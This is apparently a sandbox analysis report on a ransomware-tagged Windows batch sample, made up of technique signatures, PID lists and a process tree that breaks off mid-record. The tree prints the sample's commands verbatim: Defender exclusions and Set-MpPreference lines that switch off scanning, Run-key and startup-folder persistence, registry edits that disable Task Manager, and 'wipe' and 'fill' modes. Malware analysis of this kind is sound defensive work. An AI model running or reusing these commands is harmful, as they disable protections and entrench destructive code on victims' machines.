33fb74388950e4f5cf6785934a7e76dccd1411e6b7467f32d61c0a5ab6016e70

Analysis

max time kernel
7s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/09/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_bat_20260928_7328a0.bat
Size 7KB
Sample260928-ppmlgsty7m
SHA256 33fb74388950e4f5cf6785934a7e76dccd1411e6b7467f32d61c0a5ab6016e70
MD5 5d952a754108c21d099301a4694eabfb
SHA1 0bdec2fe2925da204862fede33db282c44e76206
SHA512 5c3c572a74af387428e49cbb39e12b59e6811edd1e30eddd9829dc9c344ff29a116d6eb9b6e69c54b2afb4ce87b67dd48da068184789babb76229372035cee83
SSDEEP 192:/PkBCGYHxiURg6o8+/t05g3WE/b1jyyZu9rALCOZr92/1g+m5W1K4UmP:nACGYHxiUG6o8+/t0i3WEz1jyyZu9roq
TLSH
T1DEF1733328D94D16A4778050A4FB96416BD7C28BA5453FC4B0CC965EBE2FB5C83B2DC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 39 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2916	bcdedit.exe
4068	bcdedit.exe
5228	bcdedit.exe
5808	bcdedit.exe
5832	bcdedit.exe
4528	bcdedit.exe
4516	bcdedit.exe
1260	bcdedit.exe
6804	bcdedit.exe
8000	bcdedit.exe
8188	bcdedit.exe
6960	bcdedit.exe
6800	bcdedit.exe
8040	bcdedit.exe
8232	bcdedit.exe
8484	bcdedit.exe
8896	bcdedit.exe
8996	bcdedit.exe
9040	bcdedit.exe
2104	bcdedit.exe
6772	bcdedit.exe
7356	bcdedit.exe
8356	bcdedit.exe
9204	bcdedit.exe
8476	bcdedit.exe
7380	bcdedit.exe
9636	bcdedit.exe
6444	bcdedit.exe
6552	bcdedit.exe
6512	bcdedit.exe
4796	bcdedit.exe
6100	bcdedit.exe
11236	bcdedit.exe
8032	Process not Found
8684	Process not Found
7572	Process not Found
2660	Process not Found
7084	Process not Found
3380	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
7492	powershell.exe
4900	Process not Found
12320	Process not Found
4320	powershell.exe
1808	powershell.exe
4920	powershell.exe
9048	powershell.exe
9136	powershell.exe
10068	powershell.exe
7188	powershell.exe
4104	Process not Found
7336	powershell.exe
8804	powershell.exe
1312	powershell.exe
5756	powershell.exe
9756	powershell.exe
2316	Process not Found
6396	Process not Found
5072	powershell.exe
10776	powershell.exe
10372	Process not Found
2172	powershell.exe
9672	powershell.exe
4292	powershell.exe
2152	powershell.exe
9996	powershell.exe
10120	powershell.exe
10652	Process not Found
2404	Process not Found
4960	powershell.exe
8340	powershell.exe
8356	powershell.exe
10716	powershell.exe
11072	powershell.exe
10040	powershell.exe
10916	Process not Found
12132	Process not Found
4716	powershell.exe
8432	powershell.exe
10108	powershell.exe
7972	Process not Found
11444	Process not Found
7884	powershell.exe
4744	powershell.exe
7812	powershell.exe
8160	powershell.exe
10088	powershell.exe
10148	powershell.exe
7624	powershell.exe
9924	powershell.exe
8468	powershell.exe
248	powershell.exe
11180	Process not Found
5644	powershell.exe
4696	Process not Found
12308	Process not Found
2768	powershell.exe
5636	powershell.exe
7228	powershell.exe
4216	powershell.exe
10756	powershell.exe
7552	powershell.exe
9928	powershell.exe
6576	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 60 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5236	powershell.exe
1688	powershell.exe
4928	powershell.exe
6572	powershell.exe
12284	Process not Found
7412	Process not Found
4336	powershell.exe
5680	powershell.exe
3268	Process not Found
10676	Process not Found
6876	powershell.exe
6708	powershell.exe
2172	powershell.exe
2196	powershell.exe
5416	Process not Found
7076	powershell.exe
6368	powershell.exe
8276	powershell.exe
4128	Process not Found
5616	Process not Found
3872	powershell.exe
4816	powershell.exe
6472	powershell.exe
8648	Process not Found
6316	powershell.exe
5808	powershell.exe
8380	Process not Found
2792	powershell.exe
1084	powershell.exe
1664	powershell.exe
11244	Process not Found
8888	Process not Found
6808	powershell.exe
6736	powershell.exe
6840	powershell.exe
6216	powershell.exe
6288	powershell.exe
8460	powershell.exe
3588	powershell.exe
1224	powershell.exe
6852	powershell.exe
7120	powershell.exe
2532	powershell.exe
988	powershell.exe
7108	powershell.exe
6428	powershell.exe
6260	powershell.exe
6676	powershell.exe
6580	powershell.exe
6948	powershell.exe
2496	powershell.exe
6920	powershell.exe
6392	powershell.exe
6040	powershell.exe
9964	Process not Found
2052	powershell.exe
2712	powershell.exe
2516	powershell.exe
6948	powershell.exe
2300	powershell.exe

Creates a file in the Startup directory 1 TTPs 4 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	attrib.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe

Enumerates connected drives 3 TTPs 7 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Discovers running processes 1 TTPs 17 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5848	tasklist.exe
10844	tasklist.exe
5912	Process not Found
3908	tasklist.exe
8616	tasklist.exe
7912	tasklist.exe
10980	tasklist.exe
9916	Process not Found
5076	tasklist.exe
9536	tasklist.exe
8308	tasklist.exe
10784	tasklist.exe
12012	Process not Found
2064	Process not Found
6732	tasklist.exe
872	tasklist.exe
12440	Process not Found

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6004	cmd.exe
5948	cmd.exe
11704	Process not Found
6224	Process not Found
8024	Process not Found
5768	cmd.exe
2132	cmd.exe
6644	cmd.exe
3212	cmd.exe
10312	cmd.exe
9444	cmd.exe
6564	cmd.exe
5608	cmd.exe
5088	cmd.exe
6844	cmd.exe
1284	Process not Found
10096	Process not Found
8576	cmd.exe
7960	cmd.exe
4816	cmd.exe
6360	cmd.exe
8404	cmd.exe
5320	cmd.exe
7964	cmd.exe
9508	cmd.exe
9768	cmd.exe
10100	Process not Found
6788	cmd.exe
7676	cmd.exe
10604	cmd.exe
6516	cmd.exe
9144	Process not Found
5588	cmd.exe
2444	cmd.exe
3716	cmd.exe
6820	cmd.exe
10188	cmd.exe
2076	cmd.exe
9012	Process not Found
2564	cmd.exe
6632	cmd.exe
9028	cmd.exe
7304	cmd.exe
7068	Process not Found
1948	cmd.exe
6900	cmd.exe
7800	cmd.exe
5124	cmd.exe
10476	cmd.exe
552	Process not Found
5984	Process not Found
14420	Process not Found
4636	cmd.exe
7612	cmd.exe
2532	cmd.exe
5144	cmd.exe
1608	cmd.exe
10620	cmd.exe
4416	Process not Found
9872	Process not Found
1708	cmd.exe
5236	cmd.exe
7004	cmd.exe
3368	cmd.exe

Delays execution with timeout.exe 17 IoCs

defense_evasion

pid	Process
700	timeout.exe
4568	timeout.exe
7868	timeout.exe
8008	timeout.exe
6448	timeout.exe
10724	timeout.exe
6504	Process not Found
4472	timeout.exe
11524	Process not Found
1312	timeout.exe
6660	timeout.exe
7240	timeout.exe
3836	timeout.exe
7200	Process not Found
12464	Process not Found
3412	timeout.exe
3008	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4320	powershell.exe
4320	powershell.exe
5848	powershell.exe
5848	powershell.exe
2332	powershell.exe
2332	powershell.exe
2332	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
1380	powershell.exe
1380	powershell.exe
1380	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeIncreaseQuotaPrivilege	5848	powershell.exe
Token: SeSecurityPrivilege	5848	powershell.exe
Token: SeTakeOwnershipPrivilege	5848	powershell.exe
Token: SeLoadDriverPrivilege	5848	powershell.exe
Token: SeSystemProfilePrivilege	5848	powershell.exe
Token: SeSystemtimePrivilege	5848	powershell.exe
Token: SeProfSingleProcessPrivilege	5848	powershell.exe
Token: SeIncBasePriorityPrivilege	5848	powershell.exe
Token: SeCreatePagefilePrivilege	5848	powershell.exe
Token: SeBackupPrivilege	5848	powershell.exe
Token: SeRestorePrivilege	5848	powershell.exe
Token: SeShutdownPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeSystemEnvironmentPrivilege	5848	powershell.exe
Token: SeRemoteShutdownPrivilege	5848	powershell.exe
Token: SeUndockPrivilege	5848	powershell.exe
Token: SeManageVolumePrivilege	5848	powershell.exe
Token: 33	5848	powershell.exe
Token: 34	5848	powershell.exe
Token: 35	5848	powershell.exe
Token: 36	5848	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeIncreaseQuotaPrivilege	896	powershell.exe
Token: SeSecurityPrivilege	896	powershell.exe
Token: SeTakeOwnershipPrivilege	896	powershell.exe
Token: SeLoadDriverPrivilege	896	powershell.exe
Token: SeSystemProfilePrivilege	896	powershell.exe
Token: SeSystemtimePrivilege	896	powershell.exe
Token: SeProfSingleProcessPrivilege	896	powershell.exe
Token: SeIncBasePriorityPrivilege	896	powershell.exe
Token: SeCreatePagefilePrivilege	896	powershell.exe
Token: SeBackupPrivilege	896	powershell.exe
Token: SeRestorePrivilege	896	powershell.exe
Token: SeShutdownPrivilege	896	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeSystemEnvironmentPrivilege	896	powershell.exe
Token: SeRemoteShutdownPrivilege	896	powershell.exe
Token: SeUndockPrivilege	896	powershell.exe
Token: SeManageVolumePrivilege	896	powershell.exe
Token: 33	896	powershell.exe
Token: 34	896	powershell.exe
Token: 35	896	powershell.exe
Token: 36	896	powershell.exe
Token: SeIncreaseQuotaPrivilege	1380	powershell.exe
Token: SeSecurityPrivilege	1380	powershell.exe
Token: SeTakeOwnershipPrivilege	1380	powershell.exe
Token: SeLoadDriverPrivilege	1380	powershell.exe
Token: SeSystemProfilePrivilege	1380	powershell.exe
Token: SeSystemtimePrivilege	1380	powershell.exe
Token: SeProfSingleProcessPrivilege	1380	powershell.exe
Token: SeIncBasePriorityPrivilege	1380	powershell.exe
Token: SeCreatePagefilePrivilege	1380	powershell.exe
Token: SeBackupPrivilege	1380	powershell.exe
Token: SeRestorePrivilege	1380	powershell.exe
Token: SeShutdownPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeSystemEnvironmentPrivilege	1380	powershell.exe
Token: SeRemoteShutdownPrivilege	1380	powershell.exe
Token: SeUndockPrivilege	1380	powershell.exe
Token: SeManageVolumePrivilege	1380	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 3392	3200	cmd.exe	90
PID 3200 wrote to memory of 2304	3200	cmd.exe	91
PID 2304 wrote to memory of 4952	2304	net.exe	92
PID 3200 wrote to memory of 4320	3200	cmd.exe	93
PID 4320 wrote to memory of 4348	4320	powershell.exe	94
PID 4348 wrote to memory of 4712	4348	cmd.exe	96
PID 4348 wrote to memory of 5896	4348	cmd.exe	97
PID 5896 wrote to memory of 1964	5896	net.exe	98
PID 4348 wrote to memory of 108	4348	cmd.exe	99
PID 4348 wrote to memory of 2124	4348	cmd.exe	100
PID 4348 wrote to memory of 2352	4348	cmd.exe	101
PID 4348 wrote to memory of 4820	4348	cmd.exe	102
PID 4348 wrote to memory of 5848	4348	cmd.exe	103
PID 808 wrote to memory of 1792	808	net.exe	229
PID 2332 wrote to memory of 1708	2332	powershell.exe	110
PID 1708 wrote to memory of 5000	1708	cmd.exe	112
PID 1708 wrote to memory of 5688	1708	cmd.exe	113
PID 5688 wrote to memory of 5884	5688	net.exe	211
PID 4348 wrote to memory of 896	4348	cmd.exe	335
PID 1708 wrote to memory of 1788	1708	cmd.exe	116
PID 1708 wrote to memory of 4888	1708	cmd.exe	117
PID 1708 wrote to memory of 3048	1708	cmd.exe	118
PID 1708 wrote to memory of 4776	1708	cmd.exe	119
PID 1708 wrote to memory of 1380	1708	cmd.exe	120
PID 4348 wrote to memory of 2052	4348	cmd.exe	320
PID 1708 wrote to memory of 2956	1708	cmd.exe	990

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4516	attrib.exe
5144	attrib.exe
8652	attrib.exe
8588	attrib.exe
1288	Process not Found
15092	Process not Found
1788	attrib.exe
3844	attrib.exe
1728	attrib.exe
10724	attrib.exe
7032	attrib.exe
844	Process not Found
15112	Process not Found
8396	Process not Found
4928	attrib.exe
6132	attrib.exe
6936	attrib.exe
6660	attrib.exe
1568	attrib.exe
9916	Process not Found
10416	Process not Found
3472	Process not Found
10260	attrib.exe
3896	attrib.exe
7416	Process not Found
8132	Process not Found
9828	Process not Found
11496	Process not Found
12692	Process not Found
15284	Process not Found
2736	attrib.exe
2432	attrib.exe
7400	attrib.exe
2740	Process not Found
6748	Process not Found
8032	Process not Found
14676	Process not Found
13500	Process not Found
3008	attrib.exe
3616	attrib.exe
6508	attrib.exe
8140	Process not Found
1980	Process not Found
10984	Process not Found
6500	Process not Found
6412	Process not Found
1620	attrib.exe
6892	attrib.exe
2316	attrib.exe
7724	Process not Found
9104	Process not Found
916	Process not Found
15276	Process not Found
108	attrib.exe
4988	attrib.exe
8188	attrib.exe
7688	attrib.exe
7824	Process not Found
6808	Process not Found
5808	Process not Found
7968	attrib.exe
11080	attrib.exe
14620	Process not Found
14416	Process not Found

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:3392
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
    3⤵
    - Creates a file in the Startup directory
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:4712
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5896
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1964
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
      4⤵
      Creates a file in the Startup directory
      Views/modifies file attributes
      PID:108
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:2124
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:2352
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:4820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:2052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Disables one or more Microsoft Defender components
      PID:3588
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:2396
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5436
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5424
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4216
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
      4⤵
      PID:1912
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:6064
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:1436
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:5848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1808
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:5548
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4428
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:5228
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:1996
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:6132
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4712
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4104
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:4428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:3532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:1084
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6768
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:7040
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1116
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1308
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:6636
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7956
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:4956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8340
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:7800
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:2472
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6952
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1176
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:3092
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7972
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8632
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9256
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:11124
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9952
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6660
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:6604
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8088
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8432
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:10696
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6312
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5576
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7032
        
        C:\Windows\system32\cmd.exe
        
